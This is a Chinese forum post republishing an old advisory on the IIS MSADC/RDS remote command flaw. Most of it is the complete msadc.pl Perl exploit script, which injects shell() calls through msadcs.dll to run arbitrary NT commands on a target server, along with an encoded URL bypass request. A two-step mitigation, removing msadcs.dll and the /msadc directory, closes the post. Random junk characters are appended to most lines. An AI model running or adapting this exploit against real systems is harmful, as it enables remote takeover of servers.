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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) j+{cc: h"X  
#g0N/  
涉及程序: c~;VvYu  
Microsoft NT server ! Vlx  
('$*QC.M  
描述: e6 x#4YH  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 /e^) *r  
)N607 Fa-  
详细: 5MKM;6cA&p  
如果你没有时间读详细内容的话,就删除: |v5 ge3-  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ~I%164B+/  
有关的安全问题就没有了。 nZ (wfNk  
=&qH%S6  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 >5"e<mwD7d  
x(R;xB  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 f?ibyoXL  
关于利用ODBC远程漏洞的描述,请参看: 8oXp8CC  
Uxik&M  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ( ^@i(XQ  
p]/[ji  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 r|jM;  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~K99DK.  
J YA>Q&  
这里不再论述。 hvNK"^\p  
(2M00J-o  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ^cSfkBh  
}#%Y eCA?  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset }4H}*P>+  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! WBkx!{\z  
r]D U  
aR('u:@jHi  
#将下面这段保存为txt文件,然后: "perl -x 文件名" !MOsP<2  
zUZET'Bm9  
#!perl 5>daWmD  
# T!>hPg  
# MSADC/RDS 'usage' (aka exploit) script )b>misb/  
# F4WX$;1  
# by rain.forest.puppy V45adDiZ  
# @G=7A;-pv0  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me kR^h@@'F"  
# beta test and find errors! )T^w c:  
[rK`BnJX  
use Socket; use Getopt::Std; ^blw\;LB  
getopts("e:vd:h:XR", \%args); (xVx|:R[<H  
ls!A'@J  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; wVnmT94  
T]tu#h{ a  
if (!defined $args{h} && !defined $args{R}) { w?^[*_Y  
print qq~ VNIl%9:-l  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Q^nf D  
-h <host> = host you want to scan (ip or domain) cfa1"u""e  
-d <seconds> = delay between calls, default 1 second B@0#*I Rm  
-X = dump Index Server path table, if available ~>lqEa  
-v = verbose Bp5ra9*5+~  
-e = external dictionary file for step 5 9+s&|XS*  
YM'4=BlJHv  
Or a -R will resume a command session CI$z+ zN  
/2c(6h  
~; exit;} s@7hoU-+  
C4.GtY8,d  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; K%mR=u#%&  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Y,Rr[i"j  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} G)t-W %D&  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); q/54=8*h0  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} nXoDI1<[  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 5;p|iT  
S7nx4c2xK~  
if (!defined $args{R}){ $ret = &has_msadc; q oi21mCn  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} X9]} UX  
z},\1^[  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" w4\ 3*  
. "cmd /c "; #{J~ km/  
$in=<STDIN>; chomp $in; N#"l82^H*  
$command="cmd /c " . $in ; I^![)# FC  
 JJ}DYv  
if (defined $args{R}) {&load; exit;} r hucBm  
Og1vD5a  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; $ B&Zn Z?  
&try_btcustmr; EA8plQ~GtE  
RtHai[j  
print "\nStep 2: Trying to make our own DSN..."; "0#(<zb|  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; !bYVLFp=\_  
Ry]9n.y  
print "\nStep 3: Trying known DSNs..."; g0U?`;n$  
&known_dsn; R2-F@_  
3 e1-w$z&S  
print "\nStep 4: Trying known .mdbs..."; #Pf<2S  
&known_mdb; x< 2]UB`  
R<6y7?]bZ  
if (defined $args{e}){ Qg(;>ops  
print "\nStep 5: Trying dictionary of DSN names..."; }8aqSD<:  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } SE^l`.U@  
*PL&CDu=)  
print "Sorry Charley...maybe next time?\n"; d4\JM 65  
exit; };9s8VZE  
, h'Q  
############################################################################## 9wldd*r  
&,jUaC5I  
sub sendraw { # ripped and modded from whisker p!^K.P1 '  
sleep($delay); # it's a DoS on the server! At least on mine... 8zj&e8&v  
my ($pstr)=@_; U), HrI>;  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || nYZ6'Iwi'  
die("Socket problems\n"); Y)5O %@Rl  
if(connect(S,pack "SnA4x8",2,80,$target)){ la-:"gKC  
select(S); $|=1; *!&?Xy%\"j  
print $pstr; my @in=<S>; ,pGA|ob  
select(STDOUT); close(S); 4}/gV)  
return @in; f)z(9JJL  
} else { die("Can't connect...\n"); }} vn$=be8l4  
W$NFk(  
############################################################################## Aixe?A_x  
Q. O4R_H  
sub make_header { # make the HTTP request (Q% @]  
my $msadc=<<EOT O$m &!J  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 GAYn*'<  
User-Agent: ACTIVEDATA K&NH?  
Host: $ip ;)CN=J!  
Content-Length: $clen 1 @t.J>  
Connection: Keep-Alive ki@C}T5  
H8 ? Y{H  
ADCClientVersion:01.06 ui#nN   
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 .Hqq!&  
5= &2=  
--!ADM!ROX!YOUR!WORLD! Y8v[kuo7  
Content-Type: application/x-varg xlwf @XW  
Content-Length: $reqlen T:{r*zLSN  
[(#)9/3,  
EOT # M/n\em"X  
; $msadc=~s/\n/\r\n/g; 'hBnV xd&  
return $msadc;} !JrKTB%  
hZ e{Ri  
############################################################################## 5yoi;$~}_0  
M NwY   
sub make_req { # make the RDS request f7Nmvla[q  
my ($switch, $p1, $p2)=@_; Ul]7IUzsu  
my $req=""; my $t1, $t2, $query, $dsn; `j)56bR  
W5`pQdk  
if ($switch==1){ # this is the btcustmr.mdb query CQ/+- -o  
$query="Select * from Customers where City=" . make_shell(); Eq;w5;7s  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . aaY AS"/:  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} L{F]uz_[x  
jwE=  
elsif ($switch==2){ # this is general make table query <Y}m/-sD5  
$query="create table AZZ (B int, C varchar(10))"; zE$HHY2ovi  
$dsn="$p1";} !P EKMDh  
QA0uT{x90  
elsif ($switch==3){ # this is general exploit table query +39uKOrZ  
$query="select * from AZZ where C=" . make_shell(); zM&ro,W  
$dsn="$p1";} :AztHf?X  
~<VxtcEBz  
elsif ($switch==4){ # attempt to hork file info from index server i]k)wr(  
$query="select path from scope()"; /}U)|6- B  
$dsn="Provider=MSIDXS;";} H6 x  
T&pCLvkz  
elsif ($switch==5){ # bad query oydP}X  
$query="select"; =&UE67eK,  
$dsn="$p1";} JnK<:]LcK  
^"?a)KC  
$t1= make_unicode($query); {q8|/{;  
$t2= make_unicode($dsn); )?#K0o[<  
$req = "\x02\x00\x03\x00"; @hg[v`~  
$req.= "\x08\x00" . pack ("S1", length($t1)); N^[ F+y  
$req.= "\x00\x00" . $t1 ; > VIFQ\  
$req.= "\x08\x00" . pack ("S1", length($t2)); 2ak]&ll+h  
$req.= "\x00\x00" . $t2 ; k $^/$N  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; TU~y;:OJ  
return $req;} mp$IhJ6#  
%+j/nA1%S  
############################################################################## N)Q_z9b=  
v0 :n:q  
sub make_shell { # this makes the shell() statement A9BoH[is7  
return "'|shell(\"$command\")|'";} qfJ2iE|o2.  
`Ze$Bd\  
############################################################################## JX 5/PCO  
0$Rn|yqf%  
sub make_unicode { # quick little function to convert to unicode ~\NQkaBkY  
my ($in)=@_; my $out; |Vz)!M  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 7MrHu2rZ=  
return $out;} ma*#*4  
A ~vx,|I  
############################################################################## e Fz$h2*B  
4_QfM}Fyp  
sub rdo_success { # checks for RDO return success (this is kludge) t.;._'  
my (@in) = @_; my $base=content_start(@in); =T2SJ)  
if($in[$base]=~/multipart\/mixed/){ aanS^t0  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} oz=ULPZ%  
return 0;} 7_s+7x =  
B(s^(__]  
############################################################################## 8TB|Y  
m"Mj3Z:  
sub make_dsn { # this makes a DSN for us r4iNX+h?V  
my @drives=("c","d","e","f"); V||b%Cb1g  
print "\nMaking DSN: "; Ss 5@n  
foreach $drive (@drives) { = >TU  
print "$drive: "; \[[xyd  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 0g: q%P0  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" }1 qQ7}v  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); (nB[aM  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; tb~E.Lm\  
return 0 if $2 eq "404"; # not found/doesn't exist iKPgiL~  
if($2 eq "200") { m\jjj^f a  
foreach $line (@results) { @uRJl$3  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} d5Ae67  
} return 0;} v^o`+~i  
D^%IFwU^  
############################################################################## X5.9~  
GBBr[}y-  
sub verify_exists { LhAW|];  
my ($page)=@_; 3h.,7,T  
my @results=sendraw("GET $page HTTP/1.0\n\n"); d6tv4Cf  
return $results[0];} oc,I, v  
l([aKm#  
############################################################################## D )`(b  
&\6},JN  
sub try_btcustmr { aeN #<M&$<  
my @drives=("c","d","e","f"); 9Xg7=(#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); FvVC 2Z  
=Y|( }92  
foreach $dir (@dirs) { Q+Q"JU  
print "$dir -> "; # fun status so you can see progress $<)]~* *K  
foreach $drive (@drives) { hq {{XQ  
print "$drive: "; # ditto zL+t&P[\  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Ip7#${f5M  
$reqlenlen=length( "$reqlen" ); "!vY{9,  
$clen= 206 + $reqlenlen + $reqlen; .E^w, o  
80Hi v  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); g!_#$az3  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} cFq<x=S  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} -DHzBq=H  
Ow>u!P!  
############################################################################## K5LJx-x*j  
diu"Nt  
sub odbc_error { &':C"_|&r  
my (@in)=@_; my $base; cd1-2-4U  
my $base = content_start(@in); Zx{Sxv"  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this \`~YW<D  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ]3,9 ."^  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {~9HJDcM  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; e{87n>+,  
return $in[$base+4].$in[$base+5].$in[$base+6];} n;:.UGl9.  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; .+XK>jl +  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . G.L}VpopM  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} deYv&=SPl  
/# Jvt  
############################################################################## ,h1\PT9ULY  
zOSUYn  
sub verbose { p : z ][I  
my ($in)=@_; #Swc>jYc  
return if !$verbose; 0!YVRit\N  
print STDOUT "\n$in\n";} Hl%Og$q3  
fh)eL<I  
############################################################################## E-Xz  
*V:U\G  
sub save { XZ.D<T"  
my ($p1, $p2, $p3, $p4)=@_; iP9]b&  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; XYP RMa?  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; q j21#q .  
close OUT;} Peph..8Z  
}a!|n4|`  
############################################################################## `T+>E0H(f  
;rT/gwg!  
sub load { ]8}2  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ws`r\k]3J  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); x7E] }h  
@p=<IN>; close(IN); AKjobA#  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); rG~W=!bj  
$target= inet_aton($ip) || die("inet_aton problems"); +~G:z|k  
print "Resuming to $ip ..."; Ih5Y7<8b~  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; %Bm{ctf#)  
if($p[1]==1) { k]:`<`/I_  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ".|8(Y  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ` ~m/  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); lU Zj  
if (rdo_success(@results)){print "Success!\n";} T7mT:z>:  
else { print "failed\n"; verbose(odbc_error(@results));}} m[y~-n  
elsif ($p[1]==3){ .{ILeG  
if(run_query("$p[3]")){ ->51t  
print "Success!\n";} else { print "failed\n"; }} 1WqCezI  
elsif ($p[1]==4){ -a_qZ7  
if(run_query($drvst . "$p[3]")){ }*9F`=%F  
print "Success!\n"; } else { print "failed\n"; }} PtUS7[]  
exit;} a'Cny((  
$H3C/|  
############################################################################## dkEbP*y Xg  
xzY/$?  
sub create_table {  y_[VhZ%  
my ($in)=@_; ={cM6F}a@  
$reqlen=length( make_req(2,$in,"") ) - 28; cu5}(  
$reqlenlen=length( "$reqlen" ); (T2HUmkQ6  
$clen= 206 + $reqlenlen + $reqlen; "Y^Fn,c  
my @results=sendraw(make_header() . make_req(2,$in,"")); "dv\ 9O  
return 1 if rdo_success(@results); MwQtf(_  
my $temp= odbc_error(@results); verbose($temp); NMw5ixl  
return 1 if $temp=~/Table 'AZZ' already exists/; c %Y *XJ'  
return 0;} @6DKw;Q  
|b='DJz2  
############################################################################## dbEXl m  
-}T7F+  
sub known_dsn { K'8?%&IQ  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 4IW90"uc  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 7lF;(l^Z>}  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", l<=k#d  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); N4VZl[7?  
X(d:!-_m *  
foreach $dSn (@dsns) { /o$6"~t  
print "."; xG edY*[`  
next if (!is_access("DSN=$dSn")); GBg  
if(create_table("DSN=$dSn")){ aDz% %%:r  
print "$dSn successful\n"; +ah4 K(+3  
if(run_query("DSN=$dSn")){ 3C=QWw?  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { dMjQV&  
print "Something's borked. Use verbose next time\n";}}} print "\n";} t4;gY298  
={o4lFe3v(  
############################################################################## {c?{M.R  
^|h_[>  
sub is_access { 2.);OFk+  
my ($in)=@_; .XK3o .ZhW  
$reqlen=length( make_req(5,$in,"") ) - 28; MTE 1\,  
$reqlenlen=length( "$reqlen" ); 1=+S'_j  
$clen= 206 + $reqlenlen + $reqlen; *dB3Gu{ +  
my @results=sendraw(make_header() . make_req(5,$in,"")); 9b-4BON{P  
my $temp= odbc_error(@results); %<Qv?`B  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); &=%M("IlD  
return 0;} ;A"i.:ZT  
tD}{/`{_t  
############################################################################## ! Y UT*  
QrSO%Rm1*  
sub run_query { h Ks  
my ($in)=@_; Wn;%B].I  
$reqlen=length( make_req(3,$in,"") ) - 28; SI6?b1;-:F  
$reqlenlen=length( "$reqlen" ); h^IizrqU  
$clen= 206 + $reqlenlen + $reqlen; Qt'3v"S>)  
my @results=sendraw(make_header() . make_req(3,$in,"")); Tp~Qg{%Og  
return 1 if rdo_success(@results); Gl{2"!mt=  
my $temp= odbc_error(@results); verbose($temp); &u"mFweS  
return 0;} $@{ d\@U  
B[w.8e5  
############################################################################## "3 2Ua3m:G  
KTo}xLT  
sub known_mdb { r#ADxqkaV  
my @drives=("c","d","e","f","g"); qS}{O0  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 1$ }Tn  
my $dir, $drive, $mdb; ]x& R=)P  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; \mb@-kM)  
;/23CFYM  
# this is sparse, because I don't know of many j}@LiH'Q  
my @sysmdbs=( "\\catroot\\icatalog.mdb", qa: muW  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Ygfy;G%  
"\\system32\\certmdb.mdb", OL#i!ia.  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Q-s5-&h(  
h>xB"E|.  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", z:O:g?A  
"\\cfusion\\cfapps\\forums\\forums_.mdb", b4KNIP7E  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 0lqh;/  
"\\cfusion\\cfapps\\security\\realm_.mdb", l'!_km0{d  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", %dmQmO,  
"\\cfusion\\database\\cfexamples.mdb", Bq4@I_b  
"\\cfusion\\database\\cfsnippets.mdb", #cD$ DA  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", d"ZsOq10D  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", VD,g3B p  
"\\cfusion\\brighttiger\\database\\cleam.mdb", -yIx:*KI  
"\\cfusion\\database\\smpolicy.mdb", n ]l3 )u  
"\\cfusion\\database\cypress.mdb", ;L],i<F  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Y?oeP^V'u  
"\\website\\cgi-win\\dbsample.mdb", 2I=4l  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", )h(=X&(d  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ) TNG0[  
); #these are just qMO(j%N5  
foreach $drive (@drives) { ffOV7Dxy  
foreach $dir (@dirs){ #'#@H  
foreach $mdb (@sysmdbs) { *gwo.s  
print "."; 0|\A5 eG  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ M6Ik'r"M  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; X*)DpbWd  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ L`w_Q2{sv  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; [4])\q^q  
} else { print "Something's borked. Use verbose next time\n"; }}}}} HR'F  
6_w~#86=  
foreach $drive (@drives) { UY\E uA9  
foreach $mdb (@mdbs) { uXGAcUx(  
print "."; |hvclEu,  
if(create_table($drv . $drive . $dir . $mdb)){ xf:|lQf  
print "\n" . $drive . $dir . $mdb . " successful\n"; tOQnxKzu  
if(run_query($drv . $drive . $dir . $mdb)){ /I`-  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 6%c]{eTd9  
} else { print "Something's borked. Use verbose next time\n"; }}}} a}k5[)et  
} `- 9p)@'8k  
3P'Wk|j  
############################################################################## zb!RfQ,  
7Sycy#D  
sub hork_idx { p{0rHu[  
print "\nAttempting to dump Index Server tables...\n"; "GxQ9=Z  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; N40DL_-  
$reqlen=length( make_req(4,"","") ) - 28; 9~r8$,e  
$reqlenlen=length( "$reqlen" ); 2-#&ktM%V  
$clen= 206 + $reqlenlen + $reqlen; b u/GaE~  
my @results=sendraw2(make_header() . make_req(4,"","")); )Ee`11  
if (rdo_success(@results)){ <{HV|B7  
my $max=@results; my $c; my %d; wX@g >(  
for($c=19; $c<$max; $c++){ ~P-^An^  
$results[$c]=~s/\x00//g; 8hX /~-H  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; SmP&wNHQf  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; y 5Kr<cF^  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; vF{{$)c  
$d{"$1$2"}="";} K>2Bz&)  
foreach $c (keys %d){ print "$c\n"; } %F0.TR!!n  
} else {print "Index server doesn't seem to be installed.\n"; }} 3qp\jh=FE  
^7`gf  
############################################################################## vri<R8  
?j8_j  
sub dsn_dict { YipL_&-  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); R36A_  
while(<IN>){ :u?L y[x  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; gF|u%_y-qt  
next if (!is_access("DSN=$dSn")); baR*4{]  
if(create_table("DSN=$dSn")){ ?*f2P T?`  
print "$dSn successful\n"; 5W_Rg:J{P  
if(run_query("DSN=$dSn")){ [Al} GM  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Ch&2{ ng  
print "Something's borked. Use verbose next time\n";}}} ?ieC>cr  
print "\n"; close(IN);} bqZ5GKUo  
[_tBv" z  
############################################################################## D'_ w *  
7}fT7tsN  
sub sendraw2 { # ripped and modded from whisker K3J,f2Cn$  
sleep($delay); # it's a DoS on the server! At least on mine... ? C6t Yd  
my ($pstr)=@_; *b(nX,e  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Hh qNp U  
die("Socket problems\n"); to] ~$~Q|>  
if(connect(S,pack "SnA4x8",2,80,$target)){ Ij7[2V]c  
print "Connected. Getting data"; KA9v?_@{F  
open(OUT,">raw.out"); my @in; D;oX*`  
select(S); $|=1; print $pstr; 14 hE<u  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ShU1RQk  
close(OUT); select(STDOUT); close(S); return @in; ;<K#h9#*7  
} else { die("Can't connect...\n"); }} CGZ3-OW@E  
YGCBDH%6  
############################################################################## rn-CQ2{?  
5oY^; )\/  
sub content_start { # this will take in the server headers K!|J/W  
my (@in)=@_; my $c; =D^R,Q  
for ($c=1;$c<500;$c++) {  bR83N  
if($in[$c] =~/^\x0d\x0a/){ *)qxrBc0  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 1>_2 =^[  
else { return $c+1; }}} qL!pDZk  
return -1;} # it should never get here actually 1xb1?/n1#  
X:OUu;  
############################################################################## N?mQ50o~C  
.arWbTR)~U  
sub funky { sK|+&BC  
my (@in)=@_; my $error=odbc_error(@in); .vtV2lq  
if($error=~/ADO could not find the specified provider/){ Uf\U~wM<  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; $x q$  
exit;} te#Wv9x  
if($error=~/A Handler is required/){ 0{.[#!CSk  
print "\nServer has custom handler filters (they most likely are patched)\n"; t|}}#Z!I[f  
exit;} ,-5|qko=  
if($error=~/specified Handler has denied Access/){ !s[[X5  
print "\nServer has custom handler filters (they most likely are patched)\n"; iiTt{ab\Y  
exit;}} / #D R|  
sk~inIj-  
############################################################################## 63pd W/\j  
p2(Z(V7*  
sub has_msadc { L<ET"&b;4  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); LZ1)zoJ  
my $base=content_start(@results); %bgUU|CdA  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Kr@6m80E5  
return 0;} =$F<Ac;&  
8@d@T V!n&  
######################## V*F |Yo:  
C5EaP%s  
?!$:I8T  
解决方案: }9 I,p$  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll o9c?)KQ  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 j4}Q  
6l& ,!fd  
拿出来充数 哈哈
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